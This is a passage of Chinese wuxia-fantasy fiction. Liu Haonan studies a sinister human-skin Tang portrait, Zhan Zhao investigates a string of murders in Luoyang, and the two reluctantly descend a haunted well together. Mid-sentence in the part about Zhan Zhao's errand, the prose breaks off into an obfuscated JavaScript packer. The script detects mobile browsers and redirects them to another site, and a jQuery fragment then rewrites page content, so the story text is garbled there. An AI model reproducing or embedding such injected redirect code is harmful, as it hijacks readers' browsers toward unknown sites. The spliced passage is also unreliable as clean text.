凌霄子就势翻身跃进屋内,动作轻盈利落得完全不像个醉汉,嘿嘿干笑两声,正待胡诌个更离谱的理由,目光却无意间扫过刘皓南手中那幅已展开大半、在灯下泛着诡异光泽的画像。 只一眼,他脸上的嬉笑惫懒瞬间冻结,仿佛被兜头泼了一盆冰水,连那故意装出的醉态都消失无踪。他手中那个酒葫芦“啪嗒”一声掉在地上,残存的几滴酒液溅湿了地面,他却浑然不觉。原本浑浊迷离的老眼骤然精光暴射,死死盯住那幅画,手指微微发颤地指着,声音都变了调: “这、这是……这画工,这笔意……”他一个箭步抢到桌前,几乎将脸贴到画上,就着昏黄油灯的光芒,死死盯着画角那一行蝇头小楷的题跋,逐字念出,声音干涩:“‘阎立本奉敕恭绘,真卿谨题’……阎立本!颜真卿!这、这竟是两位书画圣手合璧之作!真迹,这绝对是真迹!” 他猛地抬头,看向刘皓南,眼中满是震惊与难以置信,随即又像是怕惊动什么似的,极力压低声音,急促道:“不止!你们看这画绢!”他指尖极其小心、近乎敬畏地轻触画面边缘,“触手温润如玉,细腻远超顶级贡绢,却又暗含弹性,非丝非麻……这质地,这隐隐透出的、近乎活物的光泽……若老夫没看走眼,这怕是吐蕃密宗那些妖僧秘传的‘嘎巴拉唐卡’制法之一,以……以未婚少女背皮,经秘药鞣制、咒文加持而成!传说此法可锁住画中人物部分神魂精魄,使之神采永驻,历久如新。此等诡谲工艺,绝非中土正道所有!” 凌霄子又指着画绢边缘一处极细微的、类似火焰与莲花纠缠的暗金色纹样,语气斩钉截铁:“看这个标记!这是吐蕃赞普宫廷御用、赏赐极高等级僧侣或贵人的‘伏藏’印记,等闲绝难仿制!此画,必是当年吐蕃使者为讨好某位李唐皇室贵胄,特以秘法精工绘制进献!” 刘皓南经他提醒,凝神细看画中女子全身。只见她身着一袭以泥金绘就、光华内敛的曳地长裙,外罩轻薄如烟的泥金帔帛,在阎立本笔下,既保持了宫廷人物画的庄重典雅、线条严谨,又通过衣纹褶皱极为精妙的虚实、疏密、转折处理,于静态中完美勾勒出女子曼妙轻盈的体态,尤其是那帔帛随风欲飞的动态感,暗示着某种特定的姿态。颜真卿的题字笔力千钧,骨气洞达,与画中女子的柔美飘逸形成了极具张力的对比,更凸显了画中人的尊贵身份。 画中女子唇角含着一抹若有若无、难以捉摸的笑意,眸光流转间,既有宫廷贵女的雍容端庄,又似暗藏三分天然媚意,七分睥睨疏离。她发髻上斜插的金簪,腰间所悬那一对刻满细密梵文符咒、精巧绝伦的金铃,正是失传已久的“步步生莲祈福金铃”制式,以及周身佩饰的每一个细节,无不彰显着其身份之尊隆,且与某种特定的、带有宗教或庆典色彩的乐舞——“河西赞佛舞”的装束严丝合缝。 “错不了!”凌霄子以拳击掌,低声惊叹,眼中已无半分醉意,只有锐利如刀的分析,“这‘寒梅傲雪簪’,这‘步步生莲金铃’,这全套的泥金礼衣佩饰……全是当年皇室贵女在重大佛事或庆典中领舞‘河西赞佛舞’时才可穿戴的行头!画中这位主儿,不止是公主,恐怕还是当年深得圣心、经常主持或参与此类盛典的公主!再看这面容气度……”他仔细端详画中女子眉眼,又瞥了一眼刘皓南虽然染了风霜却依旧俊朗的侧脸,以及刘朔那继承了父母优点的精致轮廓,倒吸一口凉气,压低声音几乎耳语道:“皓南,这画中人的相貌……与你,与朔儿,依稀竟有几分血脉相连的影子!再结合这画出现在薛府……这位,恐怕正是你的……” 他话未说尽,但意思已昭然若揭。凌霄子猛地将画像从刘皓南手中近乎“夺”过,迅速卷起,神色是前所未有的严肃甚至带着一丝惊惧,压低声音急道:“快!把这烫手山芋处理掉!找个隐秘地方,用纯阳真火,或者沉入深潭煞地,越干净越好!玉女门的东西,尤其是牵扯到前朝皇室秘辛、吐蕃邪术的东西,碰不得,沾不得啊!这里面的水,比你们想的深得多,也浑得多!” 刘朔在一旁早已听得目瞪口呆,连手中一直把玩的金簪都忘了抛接,任由其落在桌上,发出“叮”一声轻响。他怔怔地望着那卷被师祖紧紧攥着的画轴,恍惚间,竟觉得那画中女子的眼神透过卷起的绢帛(或者说人皮),活了过来,正似笑非笑、冰冷而玩味地凝视着屋中三人,那眉心的朱砂痣,红得刺眼。 窗外,月色不知何时被薄云遮掩,光华愈冷。桌上,那支七瓣梅花金簪静静地躺着,簪头那点朱红宝石在昏暗的室内,幽幽地泛着冷光,仿佛一只不眠的邪眼。刘皓南默默从凌霄子手中接过画轴,再次触及那温润而诡异的材质时,一股难以言喻的寒意混合着强烈的探究欲,自脊背窜起,瞬间弥漫四肢百骸。 这幅融合了画圣阎立本神乎其技的笔法、颜鲁公力透纸背的题跋、吐蕃密宗诡异秘术的“人皮画”,在摇曳不定的灯火映照下,静静散发着古老、尊贵、邪异与谜团交织的气息。画中女子那抹似笑非笑的神情,仿佛在无声地嘲弄着时间的流逝,又像是在静静地等待着什么,预示着一段被尘封的往事即将掀开惊心动魄的一角,更大的风暴,已在这寂静的洛阳夜空中酝酿、汇聚。 38. 扑朔迷离 洛阳客栈房中,灯火在刘皓南深邃的眸中跳动,却化不开眼底凝结的疑云与寒意。他指尖无意识地捻着画像卷轴的边缘,那温润中带着诡异弹性、仿佛残留着生人微温的触感,与他心中翻涌的惊涛无声绞缠。这已不止是一幅古画,更似一个来自幽冥的叩问。 “李唐公主…河西赞佛舞…吐蕃秘术…前朝旧事…” 他低声自语,字字如冰珠坠潭。画像在灯下展开,画中女子与记忆中母妃那惊人的相似,在知晓这“人皮画”的可能后,更添十分悚然。那双跨越了三百余年时光的眼眸,静静凝视,不再仅仅是肖像,更像是一个被禁锢的幽魂,一个关于血脉源流的、无声而尖锐的诘问。 “玉女门…薛家…北汉遗藏…” 他缓缓卷起画像,那特殊的触感令人不悦。这些看似散乱的线索——薛府旧案、与玉女门或有关联的卢家、北汉的复国宝藏、自己与画中人的容貌联系——如同断裂的珠链。这幅以诡异秘法制成、承载着画圣书魂的画像,为何深藏薛府密室?这绝非偶然。画中人与母妃的相似,是造化弄人,还是指向某个被血腥与时光掩埋的、关于他身世的秘密?这秘密,必与那传说中的北汉遗宝纠缠不清。他必须查清,这已无关好奇,而是触及他存在根本的迷雾。 刘朔已忘了把玩金簪,怔怔望着父亲手中那卷仿佛散发不祥气息的画轴。月光下,那支七瓣梅花金簪静静躺着,簪头宝石泛着幽暗如凝血的光。 同一片清冷月色,亦笼罩着城西死寂的薛府荒宅。 幽暗巷道,展昭半蹲于地,绛红官袍下摆拂过湿滑青苔。他凝神,指尖以近乎触碰不到的力度,轻拂过青石板上一处几不可察的浅凹。移步,墙角一道颜色略深、边缘异常整齐的焦痕映入眼帘。他起身退后,目光如电,更多痕迹被串联:墙头碎瓦的新鲜位移,另一处浅坑,几片被特殊火焰瞬间灼烧卷曲、留有残符的焦黑纸屑…… 这些看似无关的点,在他这办案十余年的老刑捕心中,以特定规律相连,一个隐约暗合九宫八卦方位、且灵力流转方式特殊的阵图轮廓,便浮现出来。 “‘小周天遁形术’…华山真传,且火候极深。” 判断沉入心底。此术施展与收撤皆需极高修为,尤其这几乎不留痕迹的收手方式,江湖上能做到的人,屈指可数。 黑暗中那黑衣人的身影,在他脑中清晰回放——身形步法兼具轻灵与难以捉摸的诡变,出手角度刁钻狠辣,全无花哨,招招透着生死搏杀中淬炼出的效率与冷酷。武功路数更是驳杂的令人心惊:根基里分明有华山派的绵密气韵与发力精髓,但变招衔接间,却揉入了辽地萨满武技的诡谲难测,更夹杂着一种为达目的不惜己身,乃至带着几分邪戾的决绝狠辣。这般独特而高效的,“杂”到自成一体,且给他留下过深刻印象的武功路数与战斗风格,他这十多年来,只在一个人身上领教过那般鲜明而危险的压迫感。 刘皓南。这个名字浮上心头,带来一片沉重的阴影。那位身负前朝北汉皇孙血脉、曾于辽国高居国师之位、如今隐于江湖的人物。 若方才那黑衣人是刘皓南… 他夤夜潜入这凶宅目的何在?是察觉薛府异常前来探查,还是本就知晓内情?那幅被他夺走的唐代仕女画(黑暗中匆匆一瞥,展昭只辨出是古画,未及细察材质形制),究竟隐藏了什么,值得他如此冒险,甚至不惜与追踪而来的官府中人正面冲突,强行夺走?他的目标,是画本身,还是画所指向之物?这与沉寂多年的薛家旧案,与数日前开封接到的、关于洛阳那七起留有诡异血色图腾的灭门惨案紧急文书,是否存在着某种隐晦的关联? 夜风呜咽。展昭目光投向洛阳城灯火阑珊处,眉头深锁。刘皓南此人,经历复杂,立场微妙,智计武功皆属顶尖,其行事动机绝不能以常理揣度。他此刻出现在洛阳,是巧合,还是有意为之?他夺画,是否另有所图,甚至其本身就可能与案件有牵连?多年的刑名生涯让展昭习惯怀疑一切,尤其是刘皓南这样背景成谜、手段莫测的人物。即便曾有并肩之谊,在此等诡谲大案面前,任何关联都需审慎审视。 数日前,在开封府,他本是因私事携带了一包棘手的“物件”——离家时,妻子庞小蝶硬将一个小小锦绣包袱塞入他怀中,内里皆是女子钗环首饰。他知这些皆是师门法器,但形制女气,携带不便,本欲寻机妥善安置,却因事急,只得一路揣着横穿了半个汴京城赶到府衙,正觉尴尬,便接到了包大人递来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185066|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的洛阳府紧急文书与案卷。包拯神色是前所未有的凝重,那灭门案的现场描述与残留图腾,透着非比寻常的邪异。事态紧急,他根本无暇再归家整理行装,只得将那包“不合时宜”的首饰依旧揣在怀中,即刻奉命兼程赶往洛阳。动身前,包大人目光如炬,似无意间瞥见他怀中微露的钗环流光,曾意味深长地提点了一句:“非常之时,或需非常之物。妥善用之。” 包大人能窥阴阳,知常人所不知,此言必有深意。只是这“破局关键”竟是一包女子首饰,想来也觉奇异,而庞小蝶硬塞给他时的忧急模样,也让他心头沉甸甸的——她定是又想起了金牡丹案时他中咒的凶险,始终心有余悸。 客栈房中,刘皓南推开窗。夜风带着洛阳秋夜的凉意涌入。他极目远眺薛府方向,只有一片沉沉的黑暗。左肩伤口处,那阴寒的“寒梅劲”仍如附骨之疽,隐隐牵痛。这幅画像的出现,无论时机、地点、保存状态、画中人容颜,甚至其诡异材质,都透着一股精心设计、步步引导的味道。是线索,是钥匙,还是一个针对他血脉与过往的陷阱?即便可能是饵,他也必须咬钩。这关乎他的来处,或许,也关乎他能否为家人挣得一个真正安稳的未来。 刘朔走近,压低声音:“爹,那画挂在那儿,又这么……特别,会不会本身,就是个诱饵?” 刘皓南沉默。月光映着他线条冷硬的侧脸。诱饵?或许。但纵是刀山火海,他也得去探一探了。 荒宅外,展昭已将现场所有细微痕迹刻入脑海。他最后回望一眼薛府那如同噬人巨口的漆黑门洞,转身,绛红的身影无声没入更深的夜色。月光将他孤直的身影投在青石板上,拉得很长,像一杆已上弦、引而不发的劲弩,沉默地指向迷雾深处未知的危机与真相。 同一片月色,笼罩着洛阳城中两个各怀秘密、彼此警惕的男人。一幅诡异的人皮古画,一枚凌厉的七瓣金簪,如同投入命运迷局的两颗石子,激起的涟漪正悄然扩散、交织。风暴,正在这千年古都的寂静夜色下,无声汇聚。 夜更深,万家灯火渐次熄灭。唯有孤月清辉,冷冷映照着在迷雾中摸索前行的独行者,也默然注视着那些在真相边缘、因人心与欲望而变得愈发扑朔迷离的重重暗影。 39. 双雄初盟 洛阳城的夜雾,浓得化不开,如浸了水的棉絮,沉沉压在鳞次栉比的屋瓦与幽深的街巷之上,将一切声响都吸了进去,只留下黏腻的湿冷。客栈二楼,刘皓南独立窗前,指尖无意识地、一遍又一遍地摩挲着怀中那卷以丝绦紧束的画像。画中女子与母妃惊人相似的眉眼,即使在紧闭的卷轴中,也仿佛透过那层诡异的人皮“画绢”,在他脑海中清晰地浮现,在摇曳的烛火与窗外渗入的惨淡月光交织映照下,那容颜竟似活了过来,平添几分难以言喻的、跨越时空的诡谲与凝视。 “薛……” 这个姓氏在他唇齿间无声滚动,每一次重复,都让心绪沉下去一分。史书斑斑,记载分明:高宗与武则天最宠爱的女儿太平公主,下嫁的驸马正是薛绍。薛绍因牵连谋反被诛,但其与太平公主所生子女,理应姓薛。史载,太平公主与薛绍育有二子二女,薛绍死后,这些子女的踪迹在史书中变得模糊,尤其是在唐隆政变,太平公主与李隆基激烈交锋、最终失败被赐死的那段腥风血雨里,为保全血脉,她极有可能利用尚存的势力网络,将部分与薛绍所出的子女或孙辈,秘密转移、隐藏起来。富庶而人员复杂的东都洛阳,正是理想的藏身之所。这薛家,若真是太平公主与薛绍一脉的隐脉后裔,那么许多事情便有了另一种解释——为何一个看似普通的商贾之家,能在洛阳经营数代,根基深厚?为何其府邸规制、园林布局,隐约可见旧时气象而非寻常富户? 倘若卢家那位身份成谜、携款私逃的二夫人,果真是这一支隐脉的后人…… 刘皓南眼神锐利如刀。那么,她带走的,恐怕远非寻常意义上的金银财宝。他想起了史书对太平公主“财货山积,珍玩多于西市”的记载,更想起了那些关于这位公主曾深度参与神龙政变、先天政变,权倾朝野,其势力盘根错节的秘闻。太平公主曾一度权倾朝野,其府库所藏,恐怕不仅有无尽财富,更可能涉及李唐皇室最核心的秘辛、暗藏的力量图谱、与各方(如吐蕃、世家、甚至某些隐秘宗门)往来的信物与资源。与她可能留下的、意图在政治风暴中保全血脉和势力的“暗线遗产”相比,自己追寻多年、关乎北汉复国最后希望的所谓“宝藏”,简直如九牛一毛,不值一提。 这幅疑似太平公主画像、以吐蕃秘术炮制的人皮画出现在薛府,绝非偶然。它像一把钥匙,或者一个血色标记,指向的可能正是太平公主一脉隐藏的真正秘密。这薛府废墟之下,必定埋藏着比血腥灭门案更惊人的东西。 必须再探,立刻,马上。 子时三刻,万籁俱寂,连虫鸣都似被浓雾吞噬。 刘皓南再次潜入薛府废墟。与上次仓促探查不同,他此番有备而来。一身玄色夜行衣紧束利落,袖中暗扣数张以朱砂混合自身精血绘就的辽地萨满“破障符”与华山“清心符”,腰间那枚前夜交手时从展昭身上诡异飞出、将自己肩头扎伤、阴寒刺骨的七瓣梅花金簪,被他以内力小心包裹,再以特制丝绦系于内襟靠近心口处。这簪子透着一股子邪性,材质特殊,所蕴劲力阴毒,留在身边既是研究线索,也是提醒自己那夜交手之人的手段诡异(他尚不知那是庞小蝶给展昭的护身法器自动护主)。 他避开前院开阔地带,沿着东厢残破的回廊阴影悄无声息地潜行。月光被浓雾稀释,只能投下模糊的光晕,废墟如同蛰伏的巨兽,张开黑洞洞的口。行至中庭那片铺着碎裂青石板的空地时,他忽地停下脚步,右手中指与食指并拢如剑,暗运内力,以华山派探查地脉的“灵犀指”诀,极轻极缓地叩击脚下青石。 “笃、笃、笃……” 指端传来的感应极其微妙——地表石板冰冷死寂,但在地下约三尺深处,竟隐隐传来一丝极其微弱、却连绵不绝的“暖流”。这暖流并非地热,更非活水,其性质阴柔中带着一丝难以言喻的“活性”,仿佛某种庞大阵法残留的灵力在缓慢流转,又似人体经脉中尚未完全凝固的血液,带着诡异的生机。这绝非普通荒宅该有的地气,更像是一个被刻意布置、或自然形成的“气眼”,或是……某个庞大地下结构的“呼吸孔”。 他屏息凝神,循着那丝微弱到几乎随时会断掉的暖流感应力指引,如盲人循线,绕过后院早已倒塌、怪石嶙峋的假山残骸,来到西北角一口被半人高杂草掩盖的废弃枯井旁。井口以厚重的青石垒砌,石缝间生满墨绿近黑的湿滑苔藓,散发着陈腐的水汽与土腥味。然而,借着极其稀薄、穿透浓雾的惨淡月光,刘皓南敏锐地发现——井沿内侧某处,那厚厚的苔藓有近期被重物(很可能是靴底)踩踏、压扁的痕迹,断裂的苔藓茬口还很新鲜,渗出些许湿液,绝不超过三日!且痕迹的方向,是朝向井内。 有人下去过,而且很可能还没上来,或者……刚刚离开不久。 他心头警铃微作,正欲俯身,凑近井口,仔细探查井壁是否有攀爬痕迹或别的线索—— 一阵极轻、极细、仿佛从幽冥地府渗出的女子啜泣声,毫无征兆地从深不见底的井底飘了上来。 那哭声初时细微,如春日蚕食桑叶,丝丝缕缕,旋即却像是找到了通道,径直钻进耳膜,在颅腔内幽幽回荡、放大。声音并非单纯的悲伤,其中蕴含着某种奇特而古老的韵律,音节转折诡异,听得人心脏不由自主地随之收紧、放缓,继而神思恍惚,眼前光影摇曳。刘皓南眼前竟隐约浮现出无数绰约曼妙的身影,在虚幻的月光下旋转起舞,璎珞环佩叮咚,衣袂飘飘,更有清脆的金铃声夹杂其间,勾魂摄魄…… “河西赞佛舞的迷魂引?!”刘皓南心头剧震。他曾听师父提及,唐代宫廷盛行的一种赞佛乐舞,据说源自河西,舞姿妙曼庄严,但其最高深的伴奏乐章与吟唱,配合特定香料与环境,可产生极强的致幻迷魂之效,多为皇室秘藏,或为某些精通音律幻术的隐秘宗门所用。这井底传来的哭声韵律,竟暗合此道! 他不敢怠慢,急运辽国萨满巫术中抵御精神侵袭的“凝神咒”,舌尖用力抵住上颚,一股清凉气息自丹田升起,沿督脉直冲头顶百会穴,强行将那钻入脑海的靡靡之音与眼前幻象压了下去。冷汗瞬间浸湿了后背。此地太过诡异,不宜孤身久留。他身形如鬼魅般向后急掠,不带起半点风声,几个起落便隐入不远处一道残破的月门阴影之中,气息收敛到极致,目光如鹰隼般死死锁定枯井方向。 同一时辰,洛阳府衙档案库。 烛火摇曳,将展昭挺拔而略显疲惫的身影投在堆积如山的卷宗架上。空气里弥漫着陈旧纸张和墨锭的味道。他眉头锁成一个深刻的“川”字,指尖划过最新呈递上来的验尸笔录,一字一句,反复咀嚼。 七家死者,来自城中不同坊市,死亡时间前后相隔三日,看似无关。但死前症状却出奇地一致——皆曾在发狂前向家人或邻里诉说,恍惚间“见仙娥舞于庭,姿态妙曼不可方物”,“闻天乐绕梁,心神为之所夺”,继而双目赤红,力大无穷,丧失理智,以手扼杀至亲后,或力竭暴毙,或自残而亡。尸体检验,除了脖颈扼痕与挣扎外伤,别无显著致命伤痕,亦无中毒迹象,唯有瞳孔极度扩散,面容残留极度惊恐与诡异的陶醉交织的神情。 “仙娥舞……天乐绕梁……”展昭低声重复这两个关键词,指尖无意识地敲击着桌面。他想起了日间在薛府附近隐秘探访时,一名在洛阳府衙当了四十年书吏、现已垂垂老矣的杂役,在收了碎银后,含糊提过一句:薛家祖上,似乎与前朝某种宫廷“赞佛舞”有些渊源,具体如何,年深日久,他也记不清了。 而怀中,那包师妹庞小蝶硬塞给他的首饰里,那支凤头衔珠白玉簪的簪身上,以极细的刀工刻画着的飞天纹样——裙带飘飞、手持乐器的仙女姿态,与案卷中死者描述的“仙娥”舞姿,竟有五六分神似!这绝非巧合。他与小蝶同出玉女门,虽所学侧重不同,但也知师门源流与李唐宫廷关系匪浅,门中确有一些传承自前朝的古物与记载。小蝶塞给他的这些首饰,看似是女子钗环,实则是内蕴灵光、各有妙用的护身法器。这凤头簪上的飞天纹,或许正与那“赞佛舞”、“仙娥”幻象同源。 这绝非寻常江湖邪术,或是简单的迷药致幻。展昭凭多年刑侦经验与江湖见识判断,这更像是一种以特定乐舞形象、韵律、甚至可能结合了特殊场地或器物,直接作用于人心神、摧毁理智的古老秘法!薛府,枯井,赞佛舞,仙娥幻象……一条模糊却危险的线索正在他脑中逐渐成型。 他合上卷宗,指节因用力而微微发白。刘皓南前夜潜入薛府夺走那幅唐代仕女画(无论其具体内容为何),薛府枯井附近出现新鲜痕迹与诡异声响……这位背景复杂、手段莫测的故人,在此桩愈发诡谲的连环命案中,究竟扮演着什么角色?是同样被卷入的探查者,还是……与那制造幻象、害人性命的幕后黑手有所关联?抑或是为了别的目的,比如那幅画所代表的、可能与唐室有关的秘密? 展昭下意识按住胸前——那里,庞小蝶硬塞给他的那包首饰正贴着心口,隔着衣物也能感受到那些钗环的轮廓与微凉。他想起师妹兼妻子临行前忧心忡忡、欲言又止的眼神,想起她低声说“带着,或许有用”时的坚决;更想起包大人瞥见他怀中微露的钗环时,那句意味深长的“有时不合时宜之物,反能成为破局关键”。这包看似女气的师门法器,或许真是应对此类诡异事件的钥匙。 深吸一口气,压下心头纷乱的思绪与对刘皓南的重重疑虑,展昭握紧了腰间巨阙剑冰凉的剑柄。无论如何,他必须再入薛府,必须查个水落石出。七家人命,不能死得不明不白。 丑时初,薛府后院,雾气似乎比前院更浓了几分。 展昭刚绕过那丛早已枯死、枝干狰狞如鬼爪的牡丹花圃,那口废弃的枯井便赫然出现在眼前。他脚步微顿,锐利的目光如扫帚般掠过井沿——青苔上新鲜的踩踏痕迹依旧,而在井边湿润的泥土中,他发现了另外半个更浅、但纹路清晰的靴印,尺码与之前的不同,是另一个人,而且离开时间更近,可能就在一两个时辰内。 空气中,除了陈腐的土腥水汽,还残留着一丝极淡的、难以描述的气味——类似陈年檀香,又混合了某种奇异的草药辛气,以及一丝几不可察的、铁锈般的甜腥。这气味,与那夜在荒宅交手后,于“小周天遁形术”阵旗灰烬旁闻到的残留气息,极为相似。 他心念电转,手已按上剑柄,全身肌肉微微绷紧,进入最警备的状态。正欲再靠近井口细查,甚至考虑是否要先行下探—— “沙……” 极轻微,几乎被夜风卷动枯叶的声响掩盖,但展昭的耳廓还是捕捉到了那一点不谐。声音来自枯井另一侧,一片倾颓的假山石与半截回廊形成的阴影中。 几乎在声音入耳的瞬间,那阴影中,一道黑影如受惊的夜枭,骤然而起,没有半点犹豫,朝着与展昭来路相反的、更幽深的后院院墙方向急掠!身法快得只留下一道模糊的残影,对宅院地形的熟悉程度,远超寻常夜探者。 “站住!开封府查案!”展昭低喝一声,声出人动,身形已如离弦之箭般激射而出,直追那道急退的身影。他不能任其逃脱,此人很可能是关键。 然而那黑影对薛府内部结构了如指掌,在残垣断壁、假山荒树间几个疾速而诡谲的转折,便如游鱼入水,没入一片由倒塌游廊和疯长藤蔓形成的、更加黑暗杂乱的区域,瞬间失去了踪迹。 展昭在游廊入口前刹住脚步,没有贸然冲入。月光艰难地穿透破败的顶棚和浓密藤蔓,在地上投下支离破碎、光怪陆离的光斑。他凝神细听,除了夜风穿过断壁残垣发出的、如泣如诉的呜咽,再听不到其他异响,连最细微的呼吸和衣袂摩擦声都无。 但他能感觉到——一股极淡的、被刻意压制却依然存在的、属于高手的“气”还留在附近。那人并未走远,就藏身在这片黑暗的某处,如同潜伏的毒蛇。 展昭缓缓抽出巨阙剑,剑身出鞘的轻吟在死寂中格外清晰,流泻出秋水般的寒芒,映亮了他冷峻的侧脸。同时,他左手探入怀中,没有去取那些花哨的钗环,而是握住了那包首饰中,触手最温润、也最让他觉得“安心”的一□□支通体无瑕、簪头浮雕着古朴简洁的辟邪云纹的白玉簪。指尖触及簪身,一股温和的凉意顺着手臂蔓延开来,让他因警惕而略微加速的心跳平复了几分。 “阁下何人?”展昭沉声问道,声音不高,却在空荡破败的游廊中回荡,带着不容置疑的威严,“开封府展昭,奉命查办洛阳连环命案。薛府牵涉多条人命,阁下夤夜在此,行踪诡秘,请现身一见,说明缘由。” 黑暗中一片沉寂,只有风声呜咽。 良久,就在展昭几乎要判定对方已用更高明的手法遁走时,一个低沉沙哑、明显经过内力改变的模糊声音,从一根半边坍塌、爬满枯藤的巨大廊柱阴影后传来,飘忽不定,难以定位: “展护卫既要查案,何不先看看这井中,究竟藏着什么要命的东西?” 话音方落,那诡异的、如泣如诉的女子啜泣声,竟再度从枯井深处飘了上来!这一次,声音比方才刘皓南听到时更加清晰三分,韵律也更加古怪,直钻心肺,仿佛有无数细小的钩子在撩拨心弦。展昭只觉心头一阵烦闷悸动,眼前似乎也有光影晃动。 就在这时,怀中那支被他握着的白玉簪,簪身骤然传来一股清晰的、冰凉却不刺骨的寒意,如同盛夏饮下一口清泉,瞬间将那诡异的哭声带来的不适与恍惚驱散了大半! 他心中一震,这簪子果然非同寻常!庞小蝶硬塞给他,包大人特意提点,绝非无因。 “井下之物,与城中数起离奇命案有关?”展昭不动声色地反问,目光依旧锐利地扫视着声音传来的大致方向,试图从那片黑暗中找出蛛丝马迹。对方提到了井,显然也知道井下有异。 那经过伪装的声音沉默了片刻,似乎在权衡。再开口时,沙哑依旧,但少了些许刻意,多了几分凝重,甚至能听出一丝紧绷:“有关无关,一看便知。只是……”声音顿了顿,“井下情形诡谲,凶险莫测。一人之力,恐难应对,弄不好,便要折在里面。” 展昭听出了弦外之音。对方并非纯粹的敌人,至少此刻,对井下之物抱有极强的探究欲,甚至可能……也有所忌惮,需要帮手。他缓缓将巨阙剑垂下几分,但浑身戒备没有丝毫放松:“阁下是想合作?” “临时合作。”那声音坦然承认,甚至带着点冷冷的坦诚,“井下若真有线索,你我各取所需。出了此井,是敌是友,是分是合,再作计较。” 这提议既出乎展昭意料,却又在情理之中。对方显然对井下情况有所了解(或许下去过?),且自觉独力难支。而自己对此地知之甚少,那诡异哭声和可能存在的凶险,确实需要谨慎。他想起了包拯的叮嘱,想起了那七条死状凄惨的人命,想起了此案背后可能牵扯的巨大阴谋。若井下真藏着破案的关键,甚至是制止下一次惨案发生的线索…… 风险与机遇并存。与一个身份不明、可能极度危险的人合作,无异于与虎谋皮。但眼下,这似乎是唯一能快速揭开井底秘密的方法。 “好。”展昭终于点头,声音平稳无波,“但请阁下以真面目相见。既是合作,当有起码的诚意。展某需知与谁同行。” 黑暗中传来一声几不可闻的、极其轻微的叹息,似乎有些无奈,又似乎早有所料。片刻沉默后,一道身影自那根巨大的、爬满枯藤的残破廊柱后,缓缓走了出来。 依旧是一身利落的玄色夜行衣,但面上的黑巾已经取下。月光艰难地穿透藤蔓缝隙,落在那张脸上——剑眉星目,鼻梁挺直,面容在昏暗光线下显得格外深刻,正是刘皓南。 四目相对,空气仿佛凝固了一瞬。夜雾在两人之间缓缓流动,枯井中幽幽的啜泣声时断时续,如同鬼魅,展昭眼神锐利如刀,审视着对方脸上的每一丝表情;刘皓南的目光则平静无波,深邃难测,既无被撞破的尴尬,也无故人相见的熟稔,只有一种近乎冰冷的冷静。 “展护卫,别来无恙。”刘皓南率先开口,语气平淡,听不出情绪。 “刘兄。”展昭微微颔首,目光依旧带着审视与距离,“希望此次合作,真能查清真相,而非……另生枝节。” “彼此彼此。”刘皓南嘴角似乎极轻微地动了一下,像是笑,又不像,“井下非善地,那哭声有异,能惑乱心神。展护卫若信不过刘某,此刻回头,还来得及。” “展某职责在身,岂有回头之理。”展昭不再多言,侧身让开半步,做了一个“请”的手势,姿态却是明显的防备与监视。 刘皓南也不介意,径直走向枯井,步伐稳定。蹲下身,他指尖再次轻触井沿那些新鲜的苔藓痕迹,又闭目凝神感应了片刻,沉声道:“地气在此汇聚紊乱,下方必有极大玄机,可能是一处被刻意营造的‘穴眼’。那哭声……绝非自然之声,需谨守灵台,凝神静气,稍有松懈,恐被其所乘。” 他说话时,左手看似随意地垂在身侧,但展昭注意到,其指尖有极淡的光芒一闪而逝,似是某种探查或防御的法诀。 展昭从怀中取出那支白玉簪,簪身在微弱月光下流转着温润内敛的光泽:“此物有安神静心之效,或可一用。”他没有递过去,只是展示了一下,便重新握紧,另一手依然按在剑柄上。防人之心不可无,尤其对方是刘皓南,何况前夜那枚诡异的金簪还伤过他(展昭不知金簪是自动护主,只当是自己本能的暗器手段)。 刘皓南瞥了一眼那簪,目光在簪头的辟邪云纹上停留了一瞬,眼中闪过一丝极快的、难以捕捉的复杂神色(他认出了这与那支伤他的金簪似是同源工艺,皆非凡品),却未多言,只道:“有用便好。”说着,他已从怀中取出一盘特制的、掺了金属丝的黑色绳索,一端熟练地系在井旁一根嵌入地底、尚算牢固的半截石桩上,用力拽了拽,确认稳固,另一端则抛入深不见底的井中。 “我先行。”刘皓南言简意赅,抓住绳索,身影一荡,便如同融入黑暗的壁虎,迅捷而无声地滑入那仿佛能吞噬一切的井口黑暗之中,转眼便被浓稠的黑暗吞没。 展昭在井边略一沉吟,将白玉簪小心地插在束发之中(簪身传来的清凉感确实让他头脑清明不少),随即也握住绳索,紧随其后滑下。井壁潮湿滑腻,长满了厚厚的、触手冰凉的苔藓,带着一股浓重的土腥和陈腐水汽。越往下,光线越暗,最后只剩头顶井口那一圈模糊的、被雾气笼罩的惨白月光。那诡异的啜泣声却越来越清晰,仿佛就在耳边萦绕,时近时远,搅得人心神不宁。空气中开始弥漫起一股更加复杂的味道——陈腐的泥土味、水腥气,混合着那种奇异的、类似檀香与草药燃烧后的气息,以及一丝……淡淡的、甜腻的血腥味? 下落约三丈余(近十米),脚下忽然触及实地,并非预想中的淤泥或积水,而是坚实的、似乎经过修整的石面。 井底比井口看起来要宽阔得多,竟是一处明显由人工开凿而成的石室。展昭落地后,立刻与先一步下来的刘皓南拉开了几步距离,各自占据一个便于应对突发状况的位置,同时迅速适应着黑暗中模糊的视野。 刘皓南已点燃了一支小巧的火折子,昏黄跳动的光芒勉强驱散了咫尺的黑暗,却也将巨大的、扭曲的影子投在四周石壁上。石室呈不甚规则的圆形,约两丈见方,四壁打磨得相对光滑,上面刻满了繁复的、深浅不一的纹路。借着火光仔细看去,那些纹路竟是一个个姿态曼妙、栩栩如生的舞蹈人形!或反弹琵琶,或长袖善舞,或托举莲灯,衣带飘飞,栩栩如生,正是“河西赞佛舞”中的各种舞姿!壁画不知历经多少年月,色彩早已斑驳脱落大半,但线条依旧流畅生动,在晃动的火光下,那些舞者仿佛随时会活过来,继续那中断了数百年的舞蹈。 而那无处不在的啜泣声,此刻仿佛就来自石室深处的黑暗之中,近在咫尺,却又飘忽不定,带着幽怨,带着诱惑,更带着一种深入骨髓的寒意。 